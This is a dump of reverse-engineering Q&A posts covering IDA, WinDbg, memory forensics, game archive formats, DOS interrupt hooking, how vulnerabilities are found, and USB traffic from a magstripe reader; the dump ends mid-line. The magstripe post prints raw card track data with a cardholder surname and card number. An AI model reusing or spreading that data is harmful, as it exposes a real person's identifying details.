        "Answer": "<p>You need to select the range of instructions you're interested in, then use the same <kbd>T</kbd> shortcut as you would for a single occurrence. The dialog shown will allow you to select the register, the offset delta to add to the displacement, and the struct you want to apply.</p>\n\n<p>The dialog does some preparation work/struct analysis before showing up. If you have a large selection or a lot of structures it can take a while to appear, you just need to be patient. When you change the register/delta inside the dialog, the analysis needs to be updated, which again takes time. Placing the selection cursor over an occurrence of the register you want to change <em>before</em> calling up the dialog is a good idea.</p>\n"
    },
    {
        "Id": "3155",
        "CreationDate": "2013-12-10T11:27:51.390",
        "Body": "<ul>\n<li><a href=\"https://mega.co.nz/#!0MJgGAAL!ArUvamiuumle0uR0HJNDWjebI3g_R12iBLVq-geuZFE\" rel=\"nofollow\">core.toc</a> [87 KB]</li>\n<li><a href=\"https://mega.co.nz/#!hEwlGD4Z!RSA3zXEVk41gjbzdfOKCez3EjI9BZChvPr34VR10Ocg\" rel=\"nofollow\">core.data</a> [130 MB]</li>\n</ul>\n\n<p>the <code>.toc</code> is a table of contents files that always starts with the header 1rrs.\nIt also contains directory and file paths at offsets that will relate to the data file.</p>\n\n<p>Where should I start trying to use the <code>.toc</code> to extract from the <code>.data</code> file?</p>\n",
        "Title": "Extracting files from .data and .toc files",
        "Tags": "|file-format|",
        "Answer": "<p>Full Disclosure is always appreciated. This seems to be a (\"the\"?) data file for FASA Studio's \"Shadowrun\". Anyway, the data file contains enough recognizable items to get a good start (PNGs, Unicode text). Data seems to be aligned on 16 bytes, padded with what seems to be random trash.</p>\n\n<p>PNG images are a good start; you can extract them 'manually' (I used <a href=\"http://www.suavetech.com/0xed/\" rel=\"nofollow noreferrer\">0xED</a>) and see if they are well-formed. The few I tried were, and the all-but-one last data block should be a PNG image, according to the toc file. I located it at <code>0x82A72D0</code>, with a length of <code>0x2E231</code> bytes.</p>\n\n<p><img src=\"https://i.stack.imgur.com/WDvNG.png\" alt=\"the very last PNG in core.data\"></p>\n\n<p>Then I checked the data around the last PNG file <em>name</em> in <code>core.toc</code> for these bytes. Bingo - not a huge challenge.</p>\n\n<p>The initial part of the toc file is unknown but may be a fast look-up table. I didn't cross-reference this any further with what follows. After that, the following data can be found per each file:</p>\n\n<pre><code>4 bytes   length (little endian)\n4 bytes   offset\n8 bytes   unknown (perhaps checksum, perhaps file data/time, who knows?)\n3 bytes   name length -- possibly only the first 2 though, 3 bytes is rare #\nx bytes   name\n</code></pre>\n\n<p>Right after the block of file names more stuff appears, I couldn't think of a use for it. You could extract all file names, count them, and see if this is relevant. It seems it isn't as the file name block contains everything you were looking for.</p>\n\n<h2>Edit:</h2>\n\n<p># Ah-- for the first file, this <code>name length</code> is <code>0x0E 0x00 0x01</code>. Seems the third byte indicates something else, then. I found 2 so far with a <code>0x01</code>, both are '<em>pathless</em>' files.</p>\n"
    },
    {
        "Id": "3166",
        "CreationDate": "2013-12-12T04:51:46.793",
        "Body": "<p>The situation is the following:</p>\n\n<p>I'm reversing an application, In which I found a lot of functions that belongs to the OpenSSL library. Since I have the source code for this module, I was wondering if it's possible to somehow \"extract\" the variable names, structures, function names from the source code, and sync/map it to IDA?</p>\n",
        "Title": "Mapping an external module's source code to assembly - extracting information from source code",
        "Tags": "|disassembly|ida|assembly|functions|reassembly|",
        "Answer": "<ol>\n<li>Build the module with debug symbols</li>\n<li>Load the module you built into IDA Pro and import the debug symbols</li>\n<li>Use <a href=\"http://www.zynamics.com/bindiff.html\">BinDiff</a> to port function names, etc. from the IDB of the module you built to the IDB of your target module</li>\n</ol>\n"
    },
    {
        "Id": "3167",
        "CreationDate": "2013-12-12T05:16:08.567",
        "Body": "<p>Can I group functions based on their place in the binary? Can I assume functions next to each othe belong to the same logical group, or at least they have similar functionality? I suspect that the ordering/layout of the functions are decided compile time, however I still don't know what exactly controls this.</p>\n\n<p>Anyway, here is an example for better understanding my question. \nLet's say I have 3 functions that IDA named for me :</p>\n\n<pre><code>sub_00543210\nsub_00543211\nsub_00543212\n</code></pre>\n\n<p>Later during the analysis I find out the name of two functions.</p>\n\n<pre><code>foo_bar1\nsub_00543211\nfoo_bar3\n</code></pre>\n\n<p>At this point I would say that the name of the 2nd function, surrounded by found function names is definitely has something to do with \"foo\" so I'll name it \"foo_bar2\". (Which later it turned out to be true.)</p>\n\n<p><strong>Is this a valid assumption, or was this a special occasion?</strong></p>\n",
        "Title": "Grouping functions based on their placement/order in the binary",
        "Tags": "|ida|compilers|memory|functions|",
        "Answer": "<p>Normally the linker will leave the functions in their original order.</p>\n\n<p>However, techniques like <em>Working-Set Tuning</em> (see also <em>Profile-Guided Optimization</em>) can profile the program to see which parts are called the most often, then re-link it with that information in mind. This will clump the most frequently used code together (not only reordering functions, but also possibly splitting them into separate chunks) for memory paging purposes, and of course throw the original function ordering out the window.</p>\n"
    },
    {
        "Id": "3178",
        "CreationDate": "2013-12-13T08:35:12.023",
        "Body": "<p>What impact does noninvasive user mode debugging with WinDbg have on the process?\nWill it be detectable by the process?</p>\n\n<p>Of course I could imagine that if the threads are suspended, differences in execution time of a function could be detected by comparing to \"usual\" values.</p>\n\n<p>Microsoft itself <a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/ff552274%28v=vs.85%29.aspx\">does not indicate</a> more impact than suspending threads. Is that true?</p>\n",
        "Title": "What impact does noninvasive debugging have?",
        "Tags": "|anti-debugging|windbg|",
        "Answer": "<p>Exception handling can also make a difference. I'm currently looking at some code which triggers exceptions causing program termination if run outside the debugger under the right circumstances. When the same happens inside the debugger, the exception handling is intercepted and the program behaves differently (it doesn't crash anymore but it also doesn't behave as if run outside the debugger).</p>\n"
    },
    {
        "Id": "3180",
        "CreationDate": "2013-12-13T14:44:00.030",
        "Body": "<p>I'm doing memory forensics with volatility and pefile on Windows XP SP2 memory dumps. </p>\n\n<p>I run windows in a VirtualBox VM and aquire the dumps with vboxmanage debugvm  dumpguestcore --filename dump.vmem </p>\n\n<p>I'm trying to build a tree of dll's imported by a process. Therefore I recursively walk the dll's starting at the process <code>ImageBaseAddress</code>. The problem that occurs is that for some dll's the dllBase is paged and so I can't read the import and delay import directory structures. </p>\n\n<p>I tried disabling the paging in <code>Control Panel</code> -> <code>System</code> -> <code>Advanced</code> -> <code>Perfomance</code> -> <code>Advanced</code> -> <code>Virtual Memory</code> -> <code>No paging file</code>. I also changed the registy entry <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\DisablePagingExecutive</code> from <code>0</code> to <code>1</code>, but the behaviour stays the same.</p>\n\n<p>Another Problem is that even if the dllBase is not paged, sometimes reading the import or delay import directories with PEfile fails although the module / dll has the directory.</p>\n\n<p>Any help is most appreciated.</p>\n",
        "Title": "Memory forensics: disabled pagefile but still not everything in memory",
        "Tags": "|windows|memory|digital-forensics|",
        "Answer": "<p>The paging file is generally for dirty pages, not for clean ones.  The clean ones can be read from the original file directly, so there's no need to store them in the page file (and if they haven't ever been read yet then they won't be in memory at all).\nFurther, delay-load DLLs won't be in memory if they've never been referenced, so anything related to them won't be available to you.  So just because you disable paging does not mean that everything will be entirely in memory, if physical memory constraints exist.  You could try increasing the size of the physical memory, and perhaps let the process run for longer.</p>\n"
    },
    {
        "Id": "3185",
        "CreationDate": "2013-12-14T07:58:21.203",
        "Body": "<p>I'm currently reading <a href=\"http://vxheaven.org/vx.php?fid=17\" rel=\"nofollow\">40hex magazine</a> regarding virus writing in the early 90's. They talk a lot there about <code>interrupt intercepting</code> Which is something security guys from anti viruses company will try to do, and should be prevented (from virus writing point of view)</p>\n\n<p>What is exactly <code>interrupt intercepting ?</code></p>\n",
        "Title": "Interrupt interception",
        "Tags": "|dos|malware|",
        "Answer": "<p>By intercepting or hooking interrupts in DOS you can make the system behave differently whenever an interrupt is triggered. And there are many interrupts used in x86 architecture, some are triggered by hardware (such as clock, keyboard, divide overflow/divide by zero), some are BIOS services that can be called from software and some are OS services or other services that can also be called from software. All interrupts are equally easy to hook. All you need is <code>cli</code>, replace the interrupt vector with your own one, <code>sti</code>, or use some BIOS or DOS service.</p>\n\n<p>By hooking an interrupt you can first do your thing in your own interrupt handler and then forward the original parameters to the original interrupt handler, but you can also replace entire interrupts or specific services of chosen interrupts (without forwarding). TSRs (terminate &amp; stay resident) programs are all based on hooking interrupts (with or without interrupt forwarding). For example many DOS debuggers are TSRs, and probably many viruses too.</p>\n\n<p>For example it's possible to write an interrupt handler for interrupt 0x13 that disables all hard drive formatting functions of BIOS interrupt 0x13, by first checking the parameters for <code>int 0x13</code>, and if the function (in <code>ah</code>) is 5, 6, 7, 0x1a ... then set the desired return values in registers and flags as you like , then <code>iret</code>, otherwise <code>jmp</code> to the original interrupt handler. You can write a TSR debugger that hooks the chosen interrupts and presents the debugger screen whenever a chosen interrupt is triggered. You can adjust the system timer interrupt frequency and then hook the timer interrupt to use it to play music eg. with AdLib or SoundBlaster. You can write a TSR keylogger, a TSR virus scanner or a TSR hard drive defragmenter. You can make the computer play \"Jingle Bells\" through PC speaker or sound card whenever the user presses Enter and it's December. The possibilities are limited only by the hardware available and the skill of the programmer.</p>\n"
    },
    {
        "Id": "3195",
        "CreationDate": "2013-12-15T17:16:41.573",
        "Body": "<p>I wrote a little program which just shows a dialog. Basically an ASM Hello World. When the dialog is displayed and I break in WinDBG, I can see three threads even though the application doesn't use any threads at all.</p>\n\n<p>I was not aware that there is something like default threads applied to a process, or is this because of WinDBG?</p>\n\n<p>The Process/Thread window shows</p>\n\n<pre><code> 000:13d4:MyApp.exe\n    000:d14\n    001:11bc\n    002:50c\n</code></pre>\n\n<p>If I put a memory access breakpoint and the process would have multiple threads, do I have to specify in which thread this should be triggered. I think this shouldn't matter right? So if an address is accessed by any thread, the breakpoint should trigger regardless.</p>\n\n<p><strong>udate</strong></p>\n\n<p>So I took now a closer look (the handle numbers have changed, but the IDs are relevant anyway). I'm Running Windows 7-32bit-x86 if that helps.</p>\n\n<p><code>000:</code> refers to my original process, but this was already known.</p>\n\n<p><code>001:</code> Stacktrace when I break looks like this (some thread snychronization required by WinDBG?):</p>\n\n<pre><code>ntdll!KiFastSystemCallRet\nkernel32!WaitForMultipleObjectsEx+0x8e\nkernel32!WaitForMultipleObjects+0x18\nmsiltcfg!RestartMsi+0x32e\nkernel32!BaseThreadInitThunk+0x12\nntdll!RtlInitializeExceptionChain+0xef\nntdll!RtlInitializeExceptionChain+0xc2\n</code></pre>\n\n<p>It seems that this thread belongs to some <code>msiltcfg.dll</code> which would be a Windows 7 DLL, but why does it cread threads in my process?</p>\n\n<p><code>002:</code> So this would probably be the WinDBG thread which Akira32 refers to in his answer, right? (why does WinDBG need a thread of his own?).</p>\n\n<pre><code>ntdll!DbgBreakPoint\nkernel32!BaseThreadInitThunk+0x12\nntdll!RtlInitializeExceptionChain+0xef\nntdll!RtlInitializeExceptionChain+0xc2\n</code></pre>\n",
        "Title": "Three threads in Windows",
        "Tags": "|windbg|thread|",
        "Answer": "<p>By your description:</p>\n\n<p>Yes, your program should have only one thread running, without debuger. You can check this on task manager.\nHowever when you attach to windbg it will create a thread on break. \nThe third thread that you mention, i really dont have a clue. Maybe a injected dll running code... </p>\n\n<p>But you can try to find out by opening the windows \"call stack\" on winbgd. (and selecting each thread, on thread window)</p>\n\n<ul>\n<li>You will see you code's thread, with last function call on top.</li>\n<li>Windbg thread , probably with the function ntdll!DbgBreakPoint on top.    </li>\n<li>The third one, see where it stops and what dll the code    belongs on dissambly window.</li>\n</ul>\n\n<p>You are right. You just need to set a breakpoint any thread will trigger on acess :).</p>\n\n<p>Lets us know what you find out :).</p>\n\n<p>Hope I have helped!</p>\n\n<p><strong>UPDATE</strong></p>\n\n<pre><code>002:\n</code></pre>\n\n<p>The windbg creates that thread every time you pause the attached process execution. It makes sense because the windbg needs a breakpoint to stop the execution, since he dont know where to patch a normal breakpoint on the code, to break immediately. He creates a thread to call dbgbreakpoint and break.</p>\n\n<p>If you continue the execution, the windbg's thread will terminate. This is a normal behavior of the debuggers, not only windbg.</p>\n\n<pre><code>001:\n</code></pre>\n\n<p>The msiltcfg.dll has functions to handle MSI installers. \"Windows Installer Configuration API Stub\"\nIts strange,for me, that the process has this dll loaded. By the stack call you show, its waiting for something. A thread, mutex event, etc... This thread has nothing to do with windbg. Something has loaded that dll on your process and created the thread. Almost for sure it is a operating system process.</p>\n\n<p>One thing you can do is check if other processes (calc.exe or notpad.exe, simple ones) got the same thread or the same dll loaded. Some programs/OS can load dll's on abritary processes or even all and run code (using the WIN32 API function CreateRemoteThread). This is a normal behavior done by malware too :). </p>\n\n<p>One thing you have for sure is that your program has only created one thread. And in a normal situation it should not have more than one.</p>\n\n<p>I tested a program like your to be sure, and just got a thread.</p>\n"
    },
    {
        "Id": "3203",
        "CreationDate": "2013-12-16T21:03:24.710",
        "Body": "<p>currently I am trying to use IDA pro to <strong>generate assembly code from PE file and recompile it</strong>.</p>\n<h3>Firstly</h3>\n<p>basically I know this way:</p>\n<pre><code>File -&gt; Produce File -&gt; Create ASM File\n</code></pre>\n<p>and it seems the asm file it generated cannot be directly recompile.</p>\n<h3>Second</h3>\n<p>use some IDC or Python script in the IDA to extract useful asm instructions, put them together in order and recompile,\nthis kind of solution can be seen from some academic paper, but non of them have given some detailed instructions about how to do this task...</p>\n<p>Could anyone give me some instructions about this issue..?\nThank you!</p>\n",
        "Title": "Recompile the asm file IDA pro created",
        "Tags": "|disassembly|ida|idapython|",
        "Answer": "<p>I would answer the part</p>\n\n<blockquote>\n  <p>put them together in order and recompile</p>\n</blockquote>\n\n<p>If your decompilation contains function chunks, be aware using an assembler that accept code outside from a function environment and be aware, too, with the data prevention execution.</p>\n\n<p>For more information about function chunks: <a href=\"https://reverseengineering.stackexchange.com/questions/3676/chunked-function-discontinuous-chunks-of-code-comprising-a-function\">Chunked function (discontinuous chunks of code comprising a function)</a></p>\n"
    },
    {
        "Id": "3212",
        "CreationDate": "2013-12-17T09:17:23.577",
        "Body": "<p>I hope this question is not OT for RE, but I'm rather curious as to how vulnerabilities are usually found.</p>\n\n<p>Of course I'm aware that companies are doing code audits to identify security problems but I doubt that the results of such audits are publicly made available. Another way to find potential attacks is of course thinking about the details of a particular technique and finding its weakness (a timing attack would probably qualify as such).</p>\n\n<p>However, in the case of buffer overruns, I'm always wondering how people find out about it. I mean, if there is a release of some software, reversing it and hoping to find a buffer overflow this way seems rather hopeless to me, considering how much work this is. If your software crashes because of some special input, then of course this can be analyzed and might result in a security vulnerability. So are malware author just monitoring various sources (bug reporting site or similar) in the hope of hearing about such cases to look into it? Somehow I can't believe it.</p>\n",
        "Title": "How are vulnerabilities (especially buffer overruns) found in the wild?",
        "Tags": "|exploit|",
        "Answer": "<p>Fuzzing finds by far the majority of buffer overflows.  Reverse engineering can both help the fuzzing and find additional issues on its own.  If the fuzzer knows about 'special' values that will cause the code to branch differently or exit parsing earlier without their presence, it can weight the inclusion of those values, guarantee that the input will get past a certain point, or fill in a CRC to always be correct.</p>\n\n<p>On it's own, reverse engineering can be very good if you start with an idea of what kind of defect you want to find.  For example, if you start with the idea that people who use atoi() will not expect negative numbers, it is easy to find those places in the code and flow forward to see what happens with the data.  Another example might be to start with the assumption that memory allocation size could be integer overflowed so, look at each call to the allocation and see if the computation preceding it has the necessary checks.  If not, see if the input can influence the allocation to reach a defect.</p>\n\n<p>Another way to use reverse engineering is to let someone else do the defect finding for you.  Just compare what was patched when the vendor releases an update and you'll see what was repaired.</p>\n\n<p>As Jason said, the people writing the malware are not typically the same people that are finding the defects or even developing the exploits.</p>\n"
    },
    {
        "Id": "3221",
        "CreationDate": "2013-12-18T14:02:24.863",
        "Body": "<p>Using volatility to inspect a services.exe process in a memory dump, I built a list of dll's that are loaded in the process space. (The modules are from the InLoadOrder module list)</p>\n\n<p>This is just an excerpt (full list: <a href=\"http://pastie.org/8560797\">http://pastie.org/8560797</a>):</p>\n\n<pre><code>0x5b860000 netapi32.dll\nFileObject @8a3cb028, Name: \\WINDOWS\\system32\\netapi32.dll\n\n0x77f60000 shlwapi.dll\nFileObject @8a3e0df0, Name: \\WINDOWS\\system32\\shlwapi.dll\n</code></pre>\n\n<p>As you can see there is a shlwapi.dll loaded in the process.Thanks to DependencyWalker (looking at the imports of services.exe) I found out how shlwapi.dll is loaded. ( -> means imports )</p>\n\n<p>netapi.dll -> dnsapi.dll -> iphlpapi.dll -> mprapi.dll -> setupapi.dll -> shlapi.dll </p>\n\n<p>But only netapi.dll is loaded. dnsapi.dll is not loaded, there is no entry for it in the InLoadOrder module list, neither is any of the other dlls from the from the above \"dependency chain\" loaded. </p>\n\n<p>This is not only for shlapi.dll but for many other dll's that are loaded as well. For example: shell32.dll, psapi.dll... Neither does this only happen for services.exe process.</p>\n\n<p>Any ideas why these dlls are loaded into the process?</p>\n\n<p>Any help is most appreciated, regards!</p>\n",
        "Title": "Modules that exist in a process address space",
        "Tags": "|windows|memory|digital-forensics|",
        "Answer": "<p>The netapi.dll might have loaded the dnsapi.dll in order to do some network inspection, and then freed the DLL on completion.  However, the shlwapi.dll might hold some handles to objects open for whatever reason, or have a non-zero reference count because of circular loading, and thus remain in memory even after the other DLLs have unloaded.  A request to unload does not guarantee that it will be honored, nor does it prevent the requester from unloading first.  user32.dll is another DLL that usually displays this behavior.</p>\n"
    },
    {
        "Id": "3233",
        "CreationDate": "2013-12-20T16:13:34.177",
        "Body": "<p>I'm using WinDbg to try enumerate drivers and their associated devices. Getting the driver name is very easy. It is found in the <a href=\"http://msdn.moonsols.com/win7rtm_x86/DRIVER_OBJECT.html\" rel=\"nofollow\">_DRIVER_OBJECT</a> structure. Unfortunately, the <a href=\"http://msdn.moonsols.com/win7rtm_x86/DEVICE_OBJECT.html\" rel=\"nofollow\">_DEVICE_OBJECT</a> does not contain the name of the device. </p>\n\n<p>Using the <code>!devobj</code> command I can see the name of the device, but I would like to find the table/structure that contains the name.</p>\n",
        "Title": "Find the kernel structure that contains device name",
        "Tags": "|windows|windbg|kernel-mode|",
        "Answer": "<p>From what I remember, both XP and Win7 always had this format:</p>\n\n<p><code>object_directory_followed</code> by <code>object_header</code> whose <code>_QUAD</code> part (opaque do not use this field) points to the <code>OBJECT</code></p>\n\n<p>If you did <code>dt nt!_Object_header_name_info &lt;address of object&gt; - 0x28</code>:</p>\n\n<pre><code>kd&gt; !devobj \\Device\\Beep;dt nt!_OBJECT_HEADER_NAME_INFO 86884db8-28\nDevice object (86884db8) is for:\n Beep \\Driver\\Beep DriverObject 86e703b8\nCurrent Irp 00000000 RefCount 0 Type 00000001 Flags 00000044\nDacl e1020c34 DevExt 86884e70 DevObjExt 86884ec8 \nExtensionFlags (0000000000)  \nDevice queue is not busy.\n   +0x000 Directory        : 0xe100d670 _OBJECT_DIRECTORY\n   +0x004 Name             : _UNICODE_STRING \"Beep\"\n   +0x00c QueryReferences  : 1\nkd&gt; !devobj \\Device\\00000013\nDevice object (86fe7cd0) is for:\n 00000013 \\Driver\\PnpManager DriverObject 86fe9328\nCurrent Irp 00000000 RefCount 0 Type 00000004 Flags 00001040\nDacl e1020c34 DevExt 86fe7d88 DevObjExt 86fe7d90 DevNode 86fe7b88 \nExtensionFlags (0x00000010)  DOE_START_PENDING\nDevice queue is not busy.\nkd&gt; dt nt!_OBJECT_HEADER_NAME_INFO 86fe7cd0-28\n   +0x000 Directory        : 0xe100d670 _OBJECT_DIRECTORY\n   +0x004 Name             : _UNICODE_STRING \"00000013\"\n   +0x00c QueryReferences  : 1\n</code></pre>\n"
    },
    {
        "Id": "3237",
        "CreationDate": "2013-12-20T22:17:39.027",
        "Body": "<p>I have a Magtek magstripe card reader. Here's more information than you'd ever want about the device:</p>\n\n<pre><code># lsusb -v\nBus 001 Device 003: ID 0801:0001 MagTek Mini Swipe Reader (Keyboard Emulation)\nDevice Descriptor:\n  bLength                18\n  bDescriptorType         1\n  bcdUSB               1.10\n  bDeviceClass            0 (Defined at Interface level)\n  bDeviceSubClass         0 \n  bDeviceProtocol         0 \n  bMaxPacketSize0        64\n  idVendor           0x0801 MagTek\n  idProduct          0x0001 Mini Swipe Reader (Keyboard Emulation)\n  bcdDevice            1.00\n  iManufacturer           1 (error)\n  iProduct                2 (error)\n  iSerial                 3 (error)\n  bNumConfigurations      1\n  Configuration Descriptor:\n    bLength                 9\n    bDescriptorType         2\n    wTotalLength           34\n    bNumInterfaces          1\n    bConfigurationValue     1\n    iConfiguration          0 \n    bmAttributes         0x80\n      (Bus Powered)\n    MaxPower              100mA\n    Interface Descriptor:\n      bLength                 9\n      bDescriptorType         4\n      bInterfaceNumber        0\n      bAlternateSetting       0\n      bNumEndpoints           1\n      bInterfaceClass         3 Human Interface Device\n      bInterfaceSubClass      1 Boot Interface Subclass\n      bInterfaceProtocol      1 Keyboard\n      iInterface              0 \n        HID Device Descriptor:\n          bLength                 9\n          bDescriptorType        33\n          bcdHID               1.01\n          bCountryCode            0 Not supported\n          bNumDescriptors         1\n          bDescriptorType        34 Report\n          wDescriptorLength      76\n         Report Descriptors: \n           ** UNAVAILABLE **\n      Endpoint Descriptor:\n        bLength                 7\n        bDescriptorType         5\n        bEndpointAddress     0x81  EP 1 IN\n        bmAttributes            3\n          Transfer Type            Interrupt\n          Synch Type               None\n          Usage Type               Data\n        wMaxPacketSize     0x0008  1x 8 bytes\n        bInterval               1\nDevice Status:     0x0000\n  (Bus Powered)\n</code></pre>\n\n<p>This is a USB keyboard emulation device, so when you swipe a card, the data on tracks 1 and 2 are typed on the screen into whatever program you have open at the time.</p>\n\n<p>I'm trying to learn about USB reverse engineering, so I'm trying to understand how this device sends data to my computer. After swiping a card and seeing the data on the screen, I try to find that data in the USB requests that go back and forth between my computer and the device. To do this, I use <a href=\"https://www.kernel.org/doc/Documentation/usb/usbmon.txt\" rel=\"nofollow\">usbmon</a>:</p>\n\n<pre><code># cat /sys/kernel/debug/usb/usbmon/1u\n</code></pre>\n\n<p>I've read up on the output of <code>usbmon</code> and I've also tried looking at the data using <a href=\"http://vusb-analyzer.sourceforge.net/\" rel=\"nofollow\">vusb-analyzer</a>, but I can't find any of the data I expect to see in the data stream.</p>\n\n<p>Here is an example of the output on the screen and the output from <code>usbmon</code> after swiping an old (inactive) ID card from Oakland University.</p>\n\n<p>Output on screen:</p>\n\n<pre><code>%000127138,6361380000058657,SINGH,?;6361380000058657=123456789012?+000127138?\n</code></pre>\n\n<p>Usbmon Output:</p>\n\n<pre><code>ffff88008954e900 3348888805 C Ii:1:003:1 0:1 8 = 02002200 00000000\nffff88008954e900 3348888878 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348889671 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348889709 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348890693 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348890719 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348892689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348892712 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348893689 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348893714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348894689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348894714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348895688 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348895713 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348896662 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348896686 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348897689 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348897714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348898690 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348898715 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348899686 C Ii:1:003:1 0:1 8 = 00001f00 00000000\nffff88008954e900 3348899709 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348900687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348900710 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348901692 C Ii:1:003:1 0:1 8 = 00002400 00000000\nffff88008954e900 3348901716 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348902689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348902710 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348903689 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348903711 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348904691 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348904713 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348905692 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348905719 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348906665 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348906697 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348907696 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348907726 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348908687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348908716 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348909688 C Ii:1:003:1 0:1 8 = 00003600 00000000\nffff88008954e900 3348909717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348910688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348910717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348911688 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348911717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348912687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348912705 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348913687 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348913706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348914688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348914706 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348915686 C Ii:1:003:1 0:1 8 = 00002300 00000000\nffff88008954e900 3348915705 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348916688 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348916715 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348917691 C Ii:1:003:1 0:1 8 = 00001e00 00000000\nffff88008954e900 3348917718 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348918691 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348918717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348919690 C Ii:1:003:1 0:1 8 = 00002000 00000000\nffff88008954e900 3348919717 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348920694 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348920718 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348921693 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348921716 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348922663 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348922679 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348923692 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348923721 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348924659 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348924678 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348925660 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348925675 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348926659 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348926674 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348927662 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348927680 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348928675 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348928701 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348929688 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348929714 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348930687 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348930713 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348931688 C Ii:1:003:1 0:1 8 = 00002700 00000000\nffff88008954e900 3348931715 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348932689 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348932720 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348933677 C Ii:1:003:1 0:1 8 = 00002200 00000000\nffff88008954e900 3348933690 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348934676 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348934687 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348935680 C Ii:1:003:1 0:1 8 = 00002500 00000000\nffff88008954e900 3348935692 S Ii:1:003:1 -115:1 8 &lt;\nffff88008954e900 3348936664 C Ii:1:003:1 0:1 8 = 00000000 00000000\nffff88008954e900 3348936675 S 